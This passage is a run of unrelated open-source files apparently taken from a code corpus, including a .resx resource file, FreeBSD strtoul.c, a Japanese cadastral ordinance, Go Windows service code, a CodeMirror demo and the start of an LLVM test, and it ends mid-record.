number of \"resheader\" rows that contain simple \n name/value pairs.\n \n Each data row contains a name, and value. The row also contains a \n type or mimetype. Type corresponds to a .NET class that support \n text/value conversion through the TypeConverter architecture. \n Classes that don't support this are serialized and stored with the \n mimetype set.\n \n The mimetype is used for serialized objects, and tells the \n ResXResourceReader how to depersist the object. This is currently not \n extensible. For a given mimetype the value must be set accordingly:\n \n Note - application/x-microsoft.net.object.binary.base64 is the format \n that the ResXResourceWriter will generate, however the reader can \n read any of the formats listed below.\n \n mimetype: application/x-microsoft.net.object.binary.base64\n value : The object must be serialized with \n : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n : and then encoded with base64 encoding.\n \n mimetype: application/x-microsoft.net.object.soap.base64\n value : The object must be serialized with \n : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n : and then encoded with base64 encoding.\n\n mimetype: application/x-microsoft.net.object.bytearray.base64\n value : The object must be serialized into a byte array \n : using a System.ComponentModel.TypeConverter\n : and then encoded with base64 encoding.\n -->\n <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n <xsd:complexType>\n <xsd:choice maxOccurs=\"unbounded\">\n <xsd:element name=\"metadata\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"assembly\">\n <xsd:complexType>\n <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n <xsd:attribute name=\"name\" type=\"xsd:string\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"data\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"resheader\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n </xsd:complexType>\n </xsd:element>\n </xsd:choice>\n </xsd:complexType>\n </xsd:element>\n </xsd:schema>\n <resheader name=\"resmimetype\">\n <value>text/microsoft-resx</value>\n </resheader>\n <resheader name=\"version\">\n <value>2.0</value>\n </resheader>\n <resheader name=\"reader\">\n <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <resheader name=\"writer\">\n <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <assembly alias=\"System.Windows.Forms\" name=\"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" />\n <data name=\"CaseInsensitiveDict\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\scripting\\caseinsensitivedict.py;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>\n </data>\n <data name=\"Error\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\109_AllAnnotations_Error_24x24_72.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n </data>\n <data name=\"Main_Main_Octgn\" xml:space=\"preserve\">\n <value>Octgn</value>\n </data>\n <data name=\"Icon\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\resources\\icon.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n </data>\n <data name=\"doorclose\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\doorclose.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </data>\n <data name=\"closewindow\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\closewindow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n </data>\n <data name=\"minimize\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\minimize.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n </data>\n <data name=\"minmax\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\minmax.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n </data>\n <data name=\"userjoinsroom\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\userjoinsroom.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </data>\n <data name=\"knockknock\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\knockknock.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </data>\n <data name=\"gamemessage\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n <value>..\\Resources\\gamemessage.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </data>\n</root>"} {"text": "/*-\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California. All rights reserved.\n *\n * This code is derived from software contributed to Berkeley by\n * Chris Torek.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * From: @(#)strtoul.c\t8.1 (Berkeley) 6/4/93\n */\n\n#include <sys/cdefs.h>\n__FBSDID(\"$FreeBSD: release/9.1.0/sys/libkern/strtoul.c 128019 2004-04-07 20:46:16Z imp $\");\n\n#include <sys/param.h>\n#include <sys/systm.h>\n#include <sys/ctype.h>\n#include <sys/limits.h>\n\n/*\n * Convert a string to an unsigned long integer.\n *\n * Ignores `locale' stuff. Assumes that the upper and lower case\n * alphabets and digits are each contiguous.\n */\nunsigned long\nstrtoul(nptr, endptr, base)\n\tconst char *nptr;\n\tchar **endptr;\n\tint base;\n{\n\tconst char *s = nptr;\n\tunsigned long acc;\n\tunsigned char c;\n\tunsigned long cutoff;\n\tint neg = 0, any, cutlim;\n\n\t/*\n\t * See strtol for comments as to the logic used.\n\t */\n\tdo {\n\t\tc = *s++;\n\t} while (isspace(c));\n\tif (c == '-') {\n\t\tneg = 1;\n\t\tc = *s++;\n\t} else if (c == '+')\n\t\tc = *s++;\n\tif ((base == 0 || base == 16) &&\n\t c == '0' && (*s == 'x' || *s == 'X')) {\n\t\tc = s[1];\n\t\ts += 2;\n\t\tbase = 16;\n\t}\n\tif (base == 0)\n\t\tbase = c == '0' ? 8 : 10;\n\tcutoff = (unsigned long)ULONG_MAX / (unsigned long)base;\n\tcutlim = (unsigned long)ULONG_MAX % (unsigned long)base;\n\tfor (acc = 0, any = 0;; c = *s++) {\n\t\tif (!isascii(c))\n\t\t\tbreak;\n\t\tif (isdigit(c))\n\t\t\tc -= '0';\n\t\telse if (isalpha(c))\n\t\t\tc -= isupper(c) ? 'A' - 10 : 'a' - 10;\n\t\telse\n\t\t\tbreak;\n\t\tif (c >= base)\n\t\t\tbreak;\n\t\tif (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))\n\t\t\tany = -1;\n\t\telse {\n\t\t\tany = 1;\n\t\t\tacc *= base;\n\t\t\tacc += c;\n\t\t}\n\t}\n\tif (any < 0) {\n\t\tacc = ULONG_MAX;\n\t} else if (neg)\n\t\tacc = -acc;\n\tif (endptr != 0)\n\t\t*((const char **)endptr) = any ? s - 1 : nptr;\n\treturn (acc);\n}\n"} {"text": "\n\n地籍調査に関する事業計画の様式等を定める省令\n(昭和三十二年六月十二日総理府令第三十五号)最終改正:平成二五年六月一四日国土交通省令第五〇号\n 国土調査法施行令第四条の四\n及び第四条の五\nの規定に基き、地籍調査に関する事業計画の様式等を定める総理府令を次のように定める。1\n\n 国土調査法施行令\n(昭和二十七年政令第五十九号。以下「令」という。)第八条\nの規定による事業計画の様式は、別記のとおりとする。\n\n2\n\n 令第九条\nの規定による添付書類に記載しなければならない事項は、同条\nに規定する事項のほか、次のとおりとする。\n一\n\n 測量の方式\n\n二\n\n 都道府県が負担する経費の予定額\n\n三\n\n 基準点の有無\n\n\n\n\n\n   附 則\n\n この府令は、公布の日から施行する。\n\n\n   附 則 (平成一二年八月一四日総理府令第一〇三号)\n\n この府令は、内閣法の一部を改正する法律(平成十一年法律第八十八号)の施行の日(平成十三年一月六日)から施行する。\n\n\n   附 則 (平成二五年六月一四日国土交通省令第五〇号)\n\n この省令は、公布の日から施行する。\n\n\n別記様式 \n (略)\n"} {"text": "fileFormatVersion: 2\nguid: 8002df46aeb81db4f862838e4309b220\nfolderAsset: yes\nDefaultImporter:\n externalObjects: {}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "---\n-api-id: T:Windows.ApplicationModel.Activation.IContactPickerActivatedEventArgs\n-api-type: winrt interface\n---\n\n<!-- Interface syntax.\npublic interface IContactPickerActivatedEventArgs : Windows.ApplicationModel.Activation.IActivatedEventArgs\n-->\n\n# Windows.ApplicationModel.Activation.IContactPickerActivatedEventArgs\n\n## -description\nProvides data when an app is activated because it uses the Contact Picker.\n\n## -remarks\n### Interface inheritance\n\nIContactPickerActivatedEventArgs inherits [IActivatedEventArgs](iactivatedeventargs.md). Types that implement IContactPickerActivatedEventArgs also implement the interface members of [IActivatedEventArgs](iactivatedeventargs.md).\n\n## -examples\n\n## -see-also\n[IActivatedEventArgs](iactivatedeventargs.md)\n"} {"text": "var path = require('path'),\n fs = require('fs');\n\nvar version = function (args, callback) {\n\n var argv = require('optimist')(args)\n .describe(\"version\", \"the version to set\")\n .argv,\n version = argv.version,\n file = argv._[0] || \"package.json\";\n\n var fileContent = JSON.parse(fs.readFileSync(file));\n\n if (version) {\n // set version\n fileContent.version = version;\n fs.writeFileSync(file, JSON.stringify(fileContent));\n }\n\n console.log(fileContent.version);\n\n};\n\nversion.usage = \"rappidjs version [--version=setversion] [package.json]\";\n\nmodule.exports = version;\n\n"} {"text": "{\n \"position\": {\n \"line\": 200,\n \"character\": 64\n },\n \"source\": \"expressions/expressions.bal\",\n \"expected\": {\n \"result\": {\n \"signatures\": [\n {\n \"label\": \"fooB(float a, boolean b)\",\n \"parameters\": [\n {\n \"label\": {\n \"left\": \"float a\"\n },\n \"documentation\": {\n \"right\": {\n \"kind\": \"markdown\",\n \"value\": \"**Parameter** \\n**`float`a**: \"\n }\n }\n },\n {\n \"label\": {\n \"left\": \"boolean b\"\n },\n \"documentation\": {\n \"right\": {\n \"kind\": \"markdown\",\n \"value\": \"**Parameter** \\n**`boolean`b**: \"\n }\n }\n }\n ]\n }\n ],\n \"activeSignature\": 0,\n \"activeParameter\": 1\n },\n \"jsonrpc\": \"2.0\"\n }\n}\n"} {"text": "/*\n * Copyright (C) 2010 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution. \n * 3. Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\n * its contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission. \n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"config.h\"\n#include \"GCActivityCallback.h\"\n\n#include \"APIShims.h\"\n#include \"Heap.h\"\n#include \"JSGlobalData.h\"\n#include \"JSLock.h\"\n#include \"JSObject.h\"\n#include \"ScopeChain.h\"\n#include <wtf/RetainPtr.h>\n#include <wtf/WTFThreadData.h>\n\n#if !USE(CF)\n#error \"This file should only be used on CF platforms.\"\n#endif\n\nnamespace JSC {\n\nstruct DefaultGCActivityCallbackPlatformData {\n static void trigger(CFRunLoopTimerRef, void *info);\n\n RetainPtr<CFRunLoopTimerRef> timer;\n RetainPtr<CFRunLoopRef> runLoop;\n CFRunLoopTimerContext context;\n};\n\nconst CFTimeInterval decade = 60 * 60 * 24 * 365 * 10;\nconst CFTimeInterval triggerInterval = 2; // seconds\n\nvoid DefaultGCActivityCallbackPlatformData::trigger(CFRunLoopTimerRef timer, void *info)\n{\n Heap* heap = static_cast<Heap*>(info);\n APIEntryShim shim(heap->globalData());\n heap->collectAllGarbage();\n CFRunLoopTimerSetNextFireDate(timer, CFAbsoluteTimeGetCurrent() + decade);\n}\n\nDefaultGCActivityCallback::DefaultGCActivityCallback(Heap* heap)\n{\n commonConstructor(heap, CFRunLoopGetCurrent());\n}\n\nDefaultGCActivityCallback::DefaultGCActivityCallback(Heap* heap, CFRunLoopRef runLoop)\n{\n commonConstructor(heap, runLoop);\n}\n\nDefaultGCActivityCallback::~DefaultGCActivityCallback()\n{\n CFRunLoopRemoveTimer(d->runLoop.get(), d->timer.get(), kCFRunLoopCommonModes);\n CFRunLoopTimerInvalidate(d->timer.get());\n d->context.info = 0;\n d->runLoop = 0;\n d->timer = 0;\n}\n\nvoid DefaultGCActivityCallback::commonConstructor(Heap* heap, CFRunLoopRef runLoop)\n{\n d = adoptPtr(new DefaultGCActivityCallbackPlatformData);\n\n memset(&d->context, 0, sizeof(CFRunLoopTimerContext));\n d->context.info = heap;\n d->runLoop = runLoop;\n d->timer.adoptCF(CFRunLoopTimerCreate(0, decade, decade, 0, 0, DefaultGCActivityCallbackPlatformData::trigger, &d->context));\n CFRunLoopAddTimer(d->runLoop.get(), d->timer.get(), kCFRunLoopCommonModes);\n}\n\nvoid DefaultGCActivityCallback::operator()()\n{\n CFRunLoopTimerSetNextFireDate(d->timer.get(), CFAbsoluteTimeGetCurrent() + triggerInterval);\n}\n\nvoid DefaultGCActivityCallback::synchronize()\n{\n if (CFRunLoopGetCurrent() == d->runLoop.get())\n return;\n CFRunLoopRemoveTimer(d->runLoop.get(), d->timer.get(), kCFRunLoopCommonModes);\n d->runLoop = CFRunLoopGetCurrent();\n CFRunLoopAddTimer(d->runLoop.get(), d->timer.get(), kCFRunLoopCommonModes);\n}\n\n}\n"} {"text": "<!doctype html>\n\n<title>CodeMirror: HTML mixed mode</title>\n<meta charset=\"utf-8\"/>\n<link rel=stylesheet href=\"../../doc/docs.css\">\n\n<link rel=\"stylesheet\" href=\"../../lib/codemirror.css\">\n<script src=\"../../lib/codemirror.js\"></script>\n<script src=\"../xml/xml.js\"></script>\n<script src=\"../javascript/javascript.js\"></script>\n<script src=\"../css/css.js\"></script>\n<script src=\"../vbscript/vbscript.js\"></script>\n<script src=\"htmlmixed.js\"></script>\n<style>.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>\n<div id=nav>\n <a href=\"http://codemirror.net\"><img id=logo src=\"../../doc/logo.png\"></a>\n\n <ul>\n <li><a href=\"../../index.html\">Home</a>\n <li><a href=\"../../doc/manual.html\">Manual</a>\n <li><a href=\"https://github.com/marijnh/codemirror\">Code</a>\n </ul>\n <ul>\n <li><a href=\"../index.html\">Language modes</a>\n <li><a class=active href=\"#\">HTML mixed</a>\n </ul>\n</div>\n\n<article>\n<h2>HTML mixed mode</h2>\n<form><textarea id=\"code\" name=\"code\">\n<html style=\"color: green\">\n <!-- this is a comment -->\n <head>\n <title>Mixed HTML Example</title>\n <style type=\"text/css\">\n h1 {font-family: comic sans; color: #f0f;}\n div {background: yellow !important;}\n body {\n max-width: 50em;\n margin: 1em 2em 1em 5em;\n }\n </style>\n </head>\n <body>\n <h1>Mixed HTML Example</h1>\n <script>\n function jsFunc(arg1, arg2) {\n if (arg1 && arg2) document.body.innerHTML = \"achoo\";\n }\n </script>\n </body>\n</html>\n</textarea></form>\n <script>\n // Define an extended mixed-mode that understands vbscript and\n // leaves mustache/handlebars embedded templates in html mode\n var mixedMode = {\n name: \"htmlmixed\",\n scriptTypes: [{matches: /\\/x-handlebars-template|\\/x-mustache/i,\n mode: null},\n {matches: /(text|application)\\/(x-)?vb(a|script)/i,\n mode: \"vbscript\"}]\n };\n var editor = CodeMirror.fromTextArea(document.getElementById(\"code\"), {mode: mixedMode, tabMode: \"indent\"});\n </script>\n\n <p>The HTML mixed mode depends on the XML, JavaScript, and CSS modes.</p>\n\n <p>It takes an optional mode configuration\n option, <code>scriptTypes</code>, which can be used to add custom\n behavior for specific <code>&lt;script type=\"...\"></code> tags. If\n given, it should hold an array of <code>{matches, mode}</code>\n objects, where <code>matches</code> is a string or regexp that\n matches the script type, and <code>mode</code> is\n either <code>null</code>, for script types that should stay in\n HTML mode, or a <a href=\"../../doc/manual.html#option_mode\">mode\n spec</a> corresponding to the mode that should be used for the\n script.</p>\n\n <p><strong>MIME types defined:</strong> <code>text/html</code>\n (redefined, only takes effect if you load this parser after the\n XML parser).</p>\n\n </article>\n"} {"text": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build windows\n\npackage mgr\n\nimport (\n\t\"syscall\"\n\t\"unicode/utf16\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n)\n\nconst (\n\t// Service start types.\n\tStartManual = windows.SERVICE_DEMAND_START // the service must be started manually\n\tStartAutomatic = windows.SERVICE_AUTO_START // the service will start by itself whenever the computer reboots\n\tStartDisabled = windows.SERVICE_DISABLED // the service cannot be started\n\n\t// The severity of the error, and action taken,\n\t// if this service fails to start.\n\tErrorCritical = windows.SERVICE_ERROR_CRITICAL\n\tErrorIgnore = windows.SERVICE_ERROR_IGNORE\n\tErrorNormal = windows.SERVICE_ERROR_NORMAL\n\tErrorSevere = windows.SERVICE_ERROR_SEVERE\n)\n\n// TODO(brainman): Password is not returned by windows.QueryServiceConfig, not sure how to get it.\n\ntype Config struct {\n\tServiceType uint32\n\tStartType uint32\n\tErrorControl uint32\n\tBinaryPathName string // fully qualified path to the service binary file, can also include arguments for an auto-start service\n\tLoadOrderGroup string\n\tTagId uint32\n\tDependencies []string\n\tServiceStartName string // name of the account under which the service should run\n\tDisplayName string\n\tPassword string\n\tDescription string\n}\n\nfunc toString(p *uint16) string {\n\tif p == nil {\n\t\treturn \"\"\n\t}\n\treturn syscall.UTF16ToString((*[4096]uint16)(unsafe.Pointer(p))[:])\n}\n\nfunc toStringSlice(ps *uint16) []string {\n\tif ps == nil {\n\t\treturn nil\n\t}\n\tr := make([]string, 0)\n\tfor from, i, p := 0, 0, (*[1 << 24]uint16)(unsafe.Pointer(ps)); true; i++ {\n\t\tif p[i] == 0 {\n\t\t\t// empty string marks the end\n\t\t\tif i <= from {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tr = append(r, string(utf16.Decode(p[from:i])))\n\t\t\tfrom = i + 1\n\t\t}\n\t}\n\treturn r\n}\n\n// Config retrieves service s configuration paramteres.\nfunc (s *Service) Config() (Config, error) {\n\tvar p *windows.QUERY_SERVICE_CONFIG\n\tn := uint32(1024)\n\tfor {\n\t\tb := make([]byte, n)\n\t\tp = (*windows.QUERY_SERVICE_CONFIG)(unsafe.Pointer(&b[0]))\n\t\terr := windows.QueryServiceConfig(s.Handle, p, n, &n)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\tif err.(syscall.Errno) != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\t\treturn Config{}, err\n\t\t}\n\t\tif n <= uint32(len(b)) {\n\t\t\treturn Config{}, err\n\t\t}\n\t}\n\n\tvar p2 *windows.SERVICE_DESCRIPTION\n\tn = uint32(1024)\n\tfor {\n\t\tb := make([]byte, n)\n\t\tp2 = (*windows.SERVICE_DESCRIPTION)(unsafe.Pointer(&b[0]))\n\t\terr := windows.QueryServiceConfig2(s.Handle,\n\t\t\twindows.SERVICE_CONFIG_DESCRIPTION, &b[0], n, &n)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\tif err.(syscall.Errno) != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\t\treturn Config{}, err\n\t\t}\n\t\tif n <= uint32(len(b)) {\n\t\t\treturn Config{}, err\n\t\t}\n\t}\n\n\treturn Config{\n\t\tServiceType: p.ServiceType,\n\t\tStartType: p.StartType,\n\t\tErrorControl: p.ErrorControl,\n\t\tBinaryPathName: toString(p.BinaryPathName),\n\t\tLoadOrderGroup: toString(p.LoadOrderGroup),\n\t\tTagId: p.TagId,\n\t\tDependencies: toStringSlice(p.Dependencies),\n\t\tServiceStartName: toString(p.ServiceStartName),\n\t\tDisplayName: toString(p.DisplayName),\n\t\tDescription: toString(p2.Description),\n\t}, nil\n}\n\nfunc updateDescription(handle windows.Handle, desc string) error {\n\td := windows.SERVICE_DESCRIPTION{toPtr(desc)}\n\treturn windows.ChangeServiceConfig2(handle,\n\t\twindows.SERVICE_CONFIG_DESCRIPTION, (*byte)(unsafe.Pointer(&d)))\n}\n\n// UpdateConfig updates service s configuration parameters.\nfunc (s *Service) UpdateConfig(c Config) error {\n\terr := windows.ChangeServiceConfig(s.Handle, c.ServiceType, c.StartType,\n\t\tc.ErrorControl, toPtr(c.BinaryPathName), toPtr(c.LoadOrderGroup),\n\t\tnil, toStringBlock(c.Dependencies), toPtr(c.ServiceStartName),\n\t\ttoPtr(c.Password), toPtr(c.DisplayName))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn updateDescription(s.Handle, c.Description)\n}\n"} {"text": "var metadata = require('./_metadata');\nvar anObject = require('./_an-object');\nvar ordinaryHasOwnMetadata = metadata.has;\nvar toMetaKey = metadata.key;\n\nmetadata.exp({ hasOwnMetadata: function hasOwnMetadata(metadataKey, target /* , targetKey */) {\n return ordinaryHasOwnMetadata(metadataKey, anObject(target)\n , arguments.length < 3 ? undefined : toMetaKey(arguments[2]));\n} });\n"} {"text": "#ifndef __IgnSocleImageLoader_H__\n#define __IgnSocleImageLoader_H__\n\n#ifdef __USE_IMAGEIGN__\n\n#include <complex>\n#include <vector>\n#include \"cInterfModuleImageLoader.h\"\n\n\n/**\n Classe d'interface de lecture d'image en JP2000 via la lib Kakadu\n Pour le moment uniquement des images 8 ou 16b\n */\n \nclass IgnSocleImageLoader: public cInterfModuleImageLoader\n\t{\n\tprivate:\n\t\tstd::string m_Nomfic;\n\t\t\n\t\tstd::complex<int>\t\tm_SzIm;\n\t\tbool m_S;\n \t\teIFImL_TypeNumerique m_Type; \n\t\tint m_Nbc;\n\t\t\n\t\t\n\tpublic:\n\t\ttypedef std::complex<int> tPInt;\n\t\t~IgnSocleImageLoader();\t\t\n\t\tIgnSocleImageLoader(std::string const &nomfic);\n\t\t\n\t\tvirtual eIFImL_TypeNumerique PreferedTypeOfResol(int aDeZoom)const;\n\t\tvirtual std::complex<int> Sz(int aDeZoom)const;\n\t\tvirtual int NbCanaux()const;\t\t\n\t\tvirtual void PreparePyram(int aDeZoom);\n\n\n\n\t\tvoid LoadCanalCorrel\n (\n const sLowLevelIm<float> & anIm,\n int aDeZoom,\n tPInt aP0Im,\n tPInt aP0File,\n tPInt aSz\n\t\t\t\t );\n\n\t\t\n void LoadNCanaux(const std::vector<sLowLevelIm<float> > & aVImages,\n\t\t\t\t\t\t int mFlagLoadedIms,\n\t\t\t\t\t\t int aDeZoom,\n\t\t\t\t\t\t tPInt aP0Im,\n\t\t\t\t\t\t tPInt aP0File,\n\t\t\t\t\t\t tPInt aSz\n\t\t\t\t\t\t );\n\t\t\n\t\t/** ToDO */\n\t\tvoid LoadNCanaux(const std::vector<sLowLevelIm<short int> > & aVImages,\n\t\t\t\t\t\t int mFlagLoadedIms,\n\t\t\t\t\t\t int aDeZoom,\n\t\t\t\t\t\t tPInt aP0Im,\n\t\t\t\t\t\t tPInt aP0File,\n\t\t\t\t\t\t tPInt aSz\n\t\t\t\t\t\t );\n\t\t\n void LoadNCanaux(const std::vector<sLowLevelIm<short unsigned int> > & aVImages,\n\t\t\t\t\t\t int mFlagLoadedIms,\n\t\t\t\t\t\t int aDeZoom,\n\t\t\t\t\t\t tPInt aP0Im,\n\t\t\t\t\t\t tPInt aP0File,\n\t\t\t\t\t\t tPInt aSz\n\t\t\t\t\t\t );\n\t\t/** ToDO */\n void LoadNCanaux(const std::vector<sLowLevelIm<bool> > & aVImages,\n\t\t\t\t\t\t int mFlagLoadedIms,\n\t\t\t\t\t\t int aDeZoom,\n\t\t\t\t\t\t tPInt aP0Im,\n\t\t\t\t\t\t tPInt aP0File,\n\t\t\t\t\t\t tPInt aSz\n\t\t\t\t\t\t );\n\t\t\n\t\tvoid LoadNCanaux(const std::vector<sLowLevelIm<unsigned char> > & aVImages,\n\t\t\t\t\t\t int mFlagLoadedIms,\n\t\t\t\t\t\t int aDeZoom,\n\t\t\t\t\t\t tPInt aP0Im,\n\t\t\t\t\t\t tPInt aP0File,\n\t\t\t\t\t\t tPInt aSz\n\t\t\t\t\t\t );\n\t\t\n\t};\n#endif\n#endif\n"} {"text": "; NOTE: Assertions have been autogenerated by utils/update_test_checks.py\n; RUN: opt < %s -basicaa -dse -S | FileCheck %s\n; RUN: opt < %s -aa-pipeline=basic-aa -passes=dse -S | FileCheck %s\ntarget datalayout = \"E-p:64:64:64-a0:0:8-f32:32:32-f64:64:64-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:32:64-v64:64:64-v128:128:128\"\n\ndeclare void @llvm.memset.p0i8.i64(i8* nocapture, i8, i64, i1) nounwind\ndeclare void @llvm.memset.element.unordered.atomic.p0i8.i64(i8* nocapture, i8, i64, i32) nounwind\ndeclare void @llvm.memcpy.p0i8.p0i8.i64(i8* nocapture, i8* nocapture, i64, i1) nounwind\ndeclare void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* nocapture, i8* nocapture, i64, i32) nounwind\ndeclare void @llvm.init.trampoline(i8*, i8*, i8*)\n\ndefine void @test1(i32* %Q, i32* %P) {\n; CHECK-LABEL: @test1(\n; CHECK-NEXT: store i32 0, i32* [[P:%.*]]\n; CHECK-NEXT: ret void\n;\n %DEAD = load i32, i32* %Q\n store i32 %DEAD, i32* %P\n store i32 